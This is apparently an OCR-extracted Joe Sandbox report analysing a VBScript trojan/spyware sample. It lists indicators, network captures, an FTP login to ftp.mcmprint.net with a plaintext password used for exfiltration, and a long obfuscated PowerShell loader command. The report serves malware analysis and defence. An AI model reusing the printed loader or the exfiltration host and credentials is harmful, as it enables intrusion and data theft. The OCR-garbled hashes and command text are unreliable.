B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
B 75% <No. of IPs

Public IPs
IP Domain

192.185.145.188

185.31.121.136 ftp.mcmprint.net

General Information

Joe Sandbox Version:

Analysis ID:

Start date and time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:
Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

Copyright Joe Security LLC 2022

b3solutionscws.com

Country Flag
United States (S
Bulgaria -

36.0.0 Rainbow Opal
758166

2022-12-01 15:47:21 +01:00
CloudBasic

Oh 13m 47s

false

light

TT_COPY.vbs

default.jos

ASN

46606
199364

ASN Name

UNIFIEDLAYER-AS-1US
RAX-ASBG

Malicious
false

false

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, |IE 11, Chrome 93, Firefox 91, Adobe

Reader DC 21, Java 8 Update 301
Suspected Instruction Hammering

14

o o o o

« HCA enabled
« EGA enabled
« HDC enabled
« AMSI enabled

default

Timeout

MAL

mal96.troj.spyw.evad.winVBS@7/4@2/2
« Successful, ratio: 50%

Failed
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HCA Information:

Cookbook Comments:

Warnings

svchost.exe, UsoClient.exe
TCP Packets have been reduced to 100

ery.mp.microsoft.com

VT rate limit hit for: TT_COPY.vbs

Simulations

Behavior and APIs

@ No simulations

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .vbs
Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Execution Graph export aborted for target powershell.exe, PID 2556 because it is empty
Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

Report size getting too big, t oo many NtReadVirtualMemory calls found.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonlInteractive

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 64

Entropy (8bit):  0.34726597513537405

Encrypted: false

Copyright Joe Security LLC 2022

Exclude process from analysis (whitelisted): dilhost.exe, audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, backgroundTaskHost.exe,

Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, login.live.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, wdcp.microsoft.com, fe3cr.deliv
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SSDEEP:
MDS5:
SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

3:NIIENI
446DD1CF97EABA21CF14D03AEBC79F27
36E4CC7367E0C7B40F4ABACE272941EA46373799

A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF

A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE6G1261BB77D0OE7BECD53A7B0106D6EA4368B4C302464E3D941CH

7

false

high, very likely benign file

@ .o Bt

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jprOmil.ht2.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ASCII text, with no line terminators

dropped

60

4.038920595031593

false

3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX
D17FEO0A3F47BE24A6453E9EF58C94641
6AB83620379FC69F80C0242105DDFFD7D98D5D9D

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DECS2

false

# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ai3mehq5.lyv.ps1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ASCI! text, with no line terminators

dropped

60

4.038920595031593

false

3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX
D17FE0A3F47BE24A6453E9EF58C94641
6AB83620379FC69F80C0242105DDFFD7D98D5D9D

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DECS2

false

# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Process: C:\Windows\Microsoft. NET\Framework\v2.0.50727\CasPol.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit):  3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner

MD5: 9F754B47B351EFOFC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856 DEB5E0878D673079D05840591
SHA-512:

Malicious: false

Preview: NordVPN directory not found!..

Static File Info

C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853

Copyright Joe Security LLC 2022

Page 14 of 26



General

File type: ASCII text, with CRLF line terminators

Entropy (8bit): 5.882508768775152

TriD:

File name: TT_COPY.vbs

File size: 319816

MD5: a27bc40b7cf1e7e7e7a9b38221d4e849

SHA1: d24c19f3cf76f8f47fabfffb12422f0fa0252b3b

SHA256: 28a30c25fb101ed42b050c4b82777929b1cdd9fe02f8f386bb9708d3adb3b9bf

SHA512: b6bbcd0f8e6fal9acc91441f41f9f277a11399b15071ce06acbae4771954bba33e0act7ee279498bfd701a3beec55c54687a25¢579a54be9adchbfa2c13373118
SSDEEP: 6144:T2J71kKag/0xBIAbO0uzJ44bQ+YwWMpXj/3CAS/Sv5HX5QS: TBKd/0UAbOOq44jkTbvL5QS

TLSH: CF645990AD3B55900E4BA71AFBF149CD4FF30FE3F1012F9B29B45246372A3689A19197

File Content Smigesparcelwisecisal = ChrW(11202)......on error resume next ..Tilendebringerlateenrigg186 = FileLen("Lassoers89")......Dveskolenliveborns =
Preview: Ucase(Trim(Mid("Referencerne",27,150)) ) BESPARINGERNESUNDERSPR = Space(35)....'LIVSFRELSERNE Concocted BYG
Filelcon

5

Icon Hash: e8d69ece869a9ec4

Network Behavior

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Dec 1, 2022 15:50:07.835916996 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:07.952136993 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:07.952317953 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:07.952996969 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.069183111 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.081645966 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.081737995 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.081804037 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.081856012 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.081902027 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.081954956 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082016945 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.082053900 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082114935 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.082170010 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082199097 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.082284927 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.082309008 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082384109 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.082386017 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082467079 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082484007 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.082640886 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.082642078 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.199069977 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.199163914 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.199234009 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.199280024 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.199325085 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.199340105 CET 49824 80 192.168.11.20 192.185.145.188
Dec 1, 2022 15:50:08.199431896 CET 80 49824 192.185.145.188 192.168.11.20
Dec 1, 2022 15:50:08.199433088 CET 49824 80 192.168.11.20 192.185.145.188
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Timestamp

Dec 1, 2022 15:50:08.199513912 CET
Dec 1, 2022 15:50:08.199537039 CET
Dec 1, 2022 15:50:08.199625015 CET
Dec 1, 2022 15:50:08.199642897 CET
Dec 1, 2022 15:50:08.199718952 CET
Dec 1, 2022 15:50:08.199779034 CET
Dec 1, 2022 15:50:08.199779034 CET
Dec 1, 2022 15:50:08.199800968 CET
Dec 1, 2022 15:50:08.199896097 CET
Dec 1, 2022 15:50:08.199898958 CET
Dec 1, 2022 15:50:08.199980021 CET
Dec 1, 2022 15:50:08.199994087 CET
Dec 1, 2022 15:50:08.200078964 CET
Dec 1, 2022 15:50:08.200102091 CET
Dec 1, 2022 15:50:08.200170040 CET
Dec 1, 2022 15:50:08.200193882 CET
Dec 1, 2022 15:50:08.200242043 CET
Dec 1, 2022 15:50:08.200298071 CET
Dec 1, 2022 15:50:08.200406075 CET
Dec 1, 2022 15:50:08.200414896 CET
Dec 1, 2022 15:50:08.200445890 CET
Dec 1, 2022 15:50:08.200512886 CET
Dec 1, 2022 15:50:08.200567007 CET
Dec 1, 2022 15:50:08.200593948 CET
Dec 1, 2022 15:50:08.200666904 CET
Dec 1, 2022 15:50:08.200690985 CET
Dec 1, 2022 15:50:08.200757027 CET
Dec 1, 2022 15:50:08.200782061 CET
Dec 1, 2022 15:50:08.200845003 CET
Dec 1, 2022 15:50:08.200884104 CET
Dec 1, 2022 15:50:08.200953960 CET
Dec 1, 2022 15:50:08.201098919 CET
Dec 1, 2022 15:50:08.317081928 CET
Dec 1, 2022 15:50:08.317156076 CET
Dec 1, 2022 15:50:08.317269087 CET
Dec 1, 2022 15:50:08.317286015 CET
Dec 1, 2022 15:50:08.317331076 CET
Dec 1, 2022 15:50:08.317449093 CET
Dec 1, 2022 15:50:08.317534924 CET
Dec 1, 2022 15:50:08.317636013 CET
Dec 1, 2022 15:50:08.317718029 CET
Dec 1, 2022 15:50:08.317720890 CET
Dec 1, 2022 15:50:08.317816019 CET
Dec 1, 2022 15:50:08.317830086 CET
Dec 1, 2022 15:50:08.317898989 CET
Dec 1, 2022 15:50:08.317903996 CET
Dec 1, 2022 15:50:08.317989111 CET
Dec 1, 2022 15:50:08.318079948 CET
Dec 1, 2022 15:50:08.318099022 CET
Dec 1, 2022 15:50:08.318223000 CET
Dec 1, 2022 15:50:08.318259954 CET
Dec 1, 2022 15:50:08.318301916 CET
Dec 1, 2022 15:50:08.318368912 CET
Dec 1, 2022 15:50:08.318428040 CET
Dec 1, 2022 15:50:08.318454027 CET
Dec 1, 2022 15:50:08.318506956 CET
Dec 1, 2022 15:50:08.318511963 CET
Dec 1, 2022 15:50:08.318578959 CET
Dec 1, 2022 15:50:08.318593025 CET
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Source Port
49824
80

80
49824
80
49824
49824
80

80
49824
49824
80

80
49824
49824
80
49824
80
49824
80
49824
80
49824
80
49824
80
49824
80
49824
80
49824
49824
80

80

80
49824
49824
49824
80

80

80
49824
80
49824
49824
80
49824
80
49824
80
49824
80

80

80
49824
49824
80
49824
80

Dest Port
80
49824
49824
80
49824
80

80
49824
49824
80

80
49824
49824
80

80
49824
80
49824
80
49824
80
49824
80
49824
80
49824
80
49824
80
49824
80

80
49824
49824
49824
80

80

80
49824
49824
49824
80
49824
80

80
49824
80
49824
80
49824
80
49824
49824
49824
80

80
49824
80
49824

Source IP
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188

Dest IP
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.185.145.188
192.168.11.20
192.168.11.20
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20
192.168.11.20
192.168.11.20
192.185.145.188
192.185.145.188
192.168.11.20
192.185.145.188
192.168.11.20

Page 16 of 26



Timestamp

Dec 1, 2022 15:50:08.318670034 CET
Dec 1, 2022 15:50:08.318680048 CET
Dec 1, 2022 15:50:08.318752050 CET
Dec 1, 2022 15:50:08.318769932 CET
Dec 1, 2022 15:50:08.318840027 CET
Dec 1, 2022 15:50:08.318866014 CET
Dec 1, 2022 15:50:08.318913937 CET
Dec 1, 2022 15:50:08.318928957 CET
Dec 1, 2022 15:50:08.318994999 CET

UDP Packets

Timestamp

Dec 1, 2022 15:50:07.807889938 CET
Dec 1, 2022 15:50:07.826406956 CET
Dec 1, 2022 15:50:15.606538057 CET
Dec 1, 2022 15:50:15.837896109 CET

DNS Queries
Timestamp

Dec 1, 2022 15:50:07.807889938
CET

Dec 1, 2022 15:50:15.606538057
CET

DNS Answers

Timestamp Source IP

Dec 1, 2022 1.1.11
15:50:07.826406956
CET

Dec 1, 2022
15:50:15.837896109
CET

1.1.1.1

Source IP

192.168.11.20

192.168.11.20

Dest IP

192.168.11.20

192.168.11.20

HTTP Request Dependency Graph

« b3solutionscws.com

FTP Packets

Timestamp

Dec 1, 2022 15:50:15.910717964 CET

Dec 1, 2022 15:50:15.911051989 CET
Dec 1, 2022 15:50:15.943161011 CET
Dec 1, 2022 15:50:15.943381071 CET
Dec 1, 2022 15:50:19.780215979 CET

Copyright Joe Security LLC 2022

Dest IP

1.1.1.1

1.1.1.1

Trans ID

Oxab96

0xa887

Source Dest

Port Port
21 49825
49825 21

21 49825
49825 21

21 49825

Source Port Dest Port Source IP Dest IP
80 49824 192.185.145.188 192.168.11.20
49824 80 192.168.11.20 192.185.145.188
80 49824 192.185.145.188 192.168.11.20
49824 80 192.168.11.20 192.185.145.188
80 49824 192.185.145.188 192.168.11.20
49824 80 192.168.11.20 192.185.145.188
49824 80 192.168.11.20 192.185.145.188
80 49824 192.185.145.188 192.168.11.20
49824 80 192.168.11.20 192.185.145.188
Source Port Dest Port Source IP Dest IP
53604 53 192.168.11.20 1.1.1.1
53 53604 1.1.1.1 192.168.11.20
52412 53 192.168.11.20 1.1.1.1
53 52412 1.1.1.1 192.168.11.20
DNS over
Trans ID OP Code Name Type Class HTTPS
0xab96 Standard query  b3solution A (IP address) IN (0x0001) false
0) scws.com
0xa887 Standard query  ftp.mcmprint.net A (IP address) IN (0x0001) false
(0)
DNS over
Reply Code Name CName Address Type Class HTTPS
No error (0) b3solution 192.185.145.1 A (IP address) IN false
scws.com 88 (0x0001)
No error (0) ftp.mempri 185.31.121.13 A (IP address) IN false
nt.net 6 (0x0001)
Source IP Dest IP Commands
185.31.121.136  192.168.11.20 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are
user number 2 of 50 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are
user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are

192.168.11.20
185.31.121.136
192.168.11.20
185.31.121.136

185.31.121.136
192.168.11.20
185.31.121.136
192.168.11.20

user number 2 of 50 allowed.220-Local time is now 16:50. Server port:
21.220-This is a private system - No anonymous login

220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are
user number 2 of 50 allowed.220-Local time is now 16:50. Server port:
21.220-This is a private system - No anonymous login220-IPv6
connections are also welcome on this server.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are
user number 2 of 50 allowed.220-Local time is now 16:50. Server port:
21.220-This is a private system - No anonymous login220-IPv6
connections are also welcome on this server.220 You will be disconnected

after 15 minutes of inactivity.

USER noffice@mcmprint.net

331 User noffice@mcmprint.net OK. Password required

PASS 2K-0}h.[5hb)

530 Login authentication failed
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Source Dest

Timestamp Port Port Source IP Dest IP Commands
Dec 1, 2022 15:50:19.816060066 CET 21 49825 185.31.121.136  192.168.11.20 530 Logout.
Statistics

Behavior

@ wscript.exe
® powershell.exe
@ conhost.exe
@ powershell.exe

@ CasPol.exe

@ Click to jump to process
System Behavior
Analysis Process: wscript.exe PID: 9204, Parent PID: 4892
General
Target ID: 0
Start time: 15:50:14
Start date: 01/12/2022
Path: C:\Windows\System32\wscript.exe
Wow64 process (32bit): false
Commandline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TT_COPY.vbs"
Imagebase: 0x7ff6961b0000
File size: 170496 bytes
MD5 hash: 0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges: true
Has administrator true
privileges:
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol
Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Completion Count Source Address Symbol
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Key Path

Name Type Data Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 2556, Parent PID: 9204

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Copyright Joe Security LLC 2022°

2

15:50:34

01/12/2022
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
false

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltineFrnAnsFrbAnaCarlrnPr
sre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]in'$NoRAfenoguniHyoOpnMesHapFrlinathnStIVaolsvUnsel)Bo;Hu In Po Fe
Fo'$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPriGaeTorKonlfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy $mrRD
reOagviiMyoBanTvsKvpEklOvaacnFriSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr' $ArKUbIVaiOvsSetUnrEmiA
znTeggeeUnrGu=AlOre;Un Tr'$SpKTjIDriMesAktSurFoiunnCagMeeSarlc He-FalBrtKa Ac’$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnireoAlvinsfo.BoL
TreFanPrgFrtSthDd;Uu Sp*$SyKFolGoiAlsExtinrTriLinUngSkelcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af $TrDBreNolFoiSenFotCaeBrrduvPeaAriMullne
TrrFonSheHysSa[Re'$ReKOmIPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma'$Gr
RWheFogTuiAnoNonBysDipLolDeaFonPrilUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja' $CeKMellciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk
Ba1Ti6Va)Fl;Ga Va Ar'$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca’ $AfKtalldiKIsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne'$P
iDsleaulSuiFanmytFjeAnrFevTeaPrinolKreLurFrnByeThsOb[Ek’ $BaKUdltriOrsLatserOsiChnJegSke ThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn
Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiISBeCGrlLalHu.raG
CoeVitKoSVatprrUniLanSugHa(Ec’ $MaDExeKvlFaiFInBatEnePorssvFuadJallnline GorExnBieWhsAn)Eq;Pa} St $RiF UpoKorsksInkMinVeiFanDugMesrerLi
eBrsOvuRelHotldaUrtDieKtrDesfaOln=SiSHimUfecergotafePrnknsvibHeaHyrEknmissiOFi Dr'MeFSv6AfDSnCfaDSu6SuDVe1lnCHj0AfCUn8Da8UdBBvCMat
BaCre9VaCOr9Sa'Un;Al' $LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=0OuSLumMoeUrrBrtUmeKanHyspobMuaWirlnnAns
NoOBr No'UdEAN8KoCRuCUNnCdo6TrDWo7cuCcuAFaDha6LyCDiAUNCNe3KrDCalma8FIBImFDi2DdCDyCSaCGrBSe9Am6ChIOk7Re8grBskFhu
0ReCFiBMoDDi6NaCCo04SkCUn3HiCBrOKeETrBPoCSh4GrDRe1AnCBoCYnDS0o3MiCAf0SaEUN8SaCTo0TiDCo1ScCZoDNoCFIAMeCut1KoDSe6Bo'Sq;Gr' $F
iFDooStrnosKokldnCoiblnSkgJosSprDaeTssTeuUnISttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPoORa Ve TrEPa2ImCReOsp
Dpri1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCValUpDDu7TeCGyOhoDRe6UdDSu6De'Me;Ud $GrFTeolerLusCukCInRaiSanHagcisCyrBeeDesV
auSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKuOHe Co'FrFRe6sIDMeCFoDin6BeDOp1ToCBu0CoCUI8Gu8MeBU
nFCo70OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCStonu8CoBMeEReCDiCFeBTaDLy1soCOmMOEuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maD
Ba3KaCChCReCMe6FICdeOUIDHU6Re8ReBGeEseDBaCSp4KICStBryCcalSkCfroDaCkeOEsFMi7UnCduOPrCAs3hf'Gr;De’ $PoFChoMirPesDikFInlniBa
novgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmMCSyBFrCPi2
Mu'Ra;We’ $IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=0cSMimBaeStrRetLteSonFusUdbGraMurFonMosDrOMe Sp'RiE
Un2NeCSt0SkDFa1MaEMa8ShCLIAFoCMa1TrDSiOFICca9SoCGrOPhEDeDDeCBu4CICAfBEXCValBeCEN9UNCANOBY'Ga;FI' $StFRdoRergasprkNonNoiNr
nVagSmsFortiePrsCuuGulPitlyaDitUleLIrRusZaébi=KISComPuePIrRitNeeManDes AtbHvaMerPonBlsReOHa St'DrFUn7CoFFr1GeFPh6GIDSp5PrCTiOAdCje6
EKCStCLICTe4ExCTe9ViEVaBINCPr4UdCAmM8EUCCu0Sp8fe9Sh8PI5FaENeDFaCFrCPrCSp1WhCGaOInETr7maDSkCSuFMasUdCKaCDuCPa2Ki8Te9Bi8PI5
NiFde5GyDRiONoCSa7PsCMe9GaCCaCkICEn6Au'Ko;Ce'$meFAioAnrAnsOpkSmnPsiannUngPisAprTreFIsBluDelAftStalLatOveberStsBr7Sa=hySTa
mSteGrrFotRieOfnSesTobJualLurSonPrsEp0St Kr'ViFVu7ChDEnOSkCKiBTrDFu1ceCHjCReCSu8TaCMo0tr8Je9Cr8Te5IrEdi8BiCDo4GeCCuBOpCMi
4ReCBa2KuCld0SuCCa1Pe'gi;FI'$StFHaoForSksFokAunUniUnnScgAfsSyrAfeDisSvuKalUntalaNatSoeAarGrsSa8Bl=BeSShmpreEerTytOreKanOvsOnbPaaKn
rSknFisKiOFo Kh'LiFSw7SuCQu0BICOg3meCSp9IDrCUdOMeCRe6CrDHa1LeCKo0VeCOv1FaEIm1SiCSkOUnCAn9BeCkoOAuCIn2DeCAc4boDbe1PiCSuODa
'No;Fi'$KeFLaoPerBasInkScnSpiKinDigPrsSbrireWhsSruhilBetHaaMatKaebirZasSp9He=TeSJumVseDurSetSveKongasNebAsatwrBuninsDe0Su Be'ZyESI
CBrCPIBUNESI8StCAfOKaCOu8JuCFoAMaDRe7LiDBeCudELa80OpCYdALyCEk1leDMaOPrCSn9luCAf0Gr'He;Ba  $CoGPrhSpeSpgCaiResSehMe0Re=0pSS
omAgeSgrCotVeeAdnCosNobDoaOmrfunPhsSiOKI Re'MeEFo8HIDMoCSaECo1DeCShOPrCFo9DoCun0BeCUo2PoCta4FoDXe1PrCMi0lnFRo1BaDViCHaDM
a5SvCSuObr'bo;Lo’$ErGTahUseTagFliTisUnhPl1In=FeSSumGrePrrRitAeeCunGrsDebOvaSkrTinHesAfODa Mi'xmEfo6TaCUn9SyCTo4LsDde6GrD
UnBNo8Ko9At80s5NoFRa50mMDAN0OrCUN7StCUN9ByCRUCLICIs6 Sk8EmIRU8No5SiFLb6opCAIOHUCCa4PiCEn9MaCPi0JuCOv1Un8Ef9Ca8Ga
5ReEDr4BaCFoBShDVa6AICquCKvEOs6AmCUp9HeCOv4ApDSa6CaDOb6Pa8Wad9Lu8Ps5LoEVa4DyDPi0ReDDi1MiCKoAStECo6UICMa9HjCMu40O
xDIm6UnDSn6Pa'Mu;Ob" $AnGRehenespgSeiansFahFe2co=AcSGymMiemurretWoeAlnYnsSebanaSIrTrnFosstObr Re'SKEFUCMoCPrBStDTe3BgCHyA
OxCMoESyCBj0Bi'Ni;Da’ $SuGSnhnoeFigNaisisPahDr3St=DaSJomGleBorpitDyeVanDusBibHeaSprGrndusRu0Sp Us'SeFal5BeDErORuCKo7CaCOp
90pCFaCReCEt6K08In9Re8Ry5RiEhaDPICArCBeCGalhaCAsOBaELu7loDBaCBoFPaéLaCInCCaCKI2Th8Ko90p8He5InEHoBTaCMiOAfDVi2BaFSk6ReCFo
9ANCDaASpDKi1Va8Ar9AI8Bi5SIFpr3VoCSICFaDre7CuDRe1muDTa0HeCLe4OICVo9Wr'Be;Im $BoGTehCheSIgKeiKvsDohSI4Dy=LoSTomNjelnrBotN
0eStnSvsDibPeaPIrTinOvsPiOHe Ne'PrFNo3IICEvCKIDFo7UnDRe1HeDBeOEtCPr4inCMi9FjEC04HvCOraOmMCOn9coCAnANaCBabéGe'Kn;So $StGChh
HaeSpgMfiBrsochDi5St=DrSSpmHaeharPstdoeArnNosPibfoaCarConBusInOMi at EnCCiBDiDKa1SwCHe1SkCan9UrCCo9Fo'Fl;Ga’ $IdGMihDeelagTiilUdsHyh
Le6Ca=FoSfomQueMarGotGreJvnPrsHjbTnaDerDinFosAs0Sp An'SvEGgBSaDDu1BiFNo5ZyDRi7JoCAnABiDSp1UsCMuOFiCSe6giDpo1ReFEg3SuCFoC
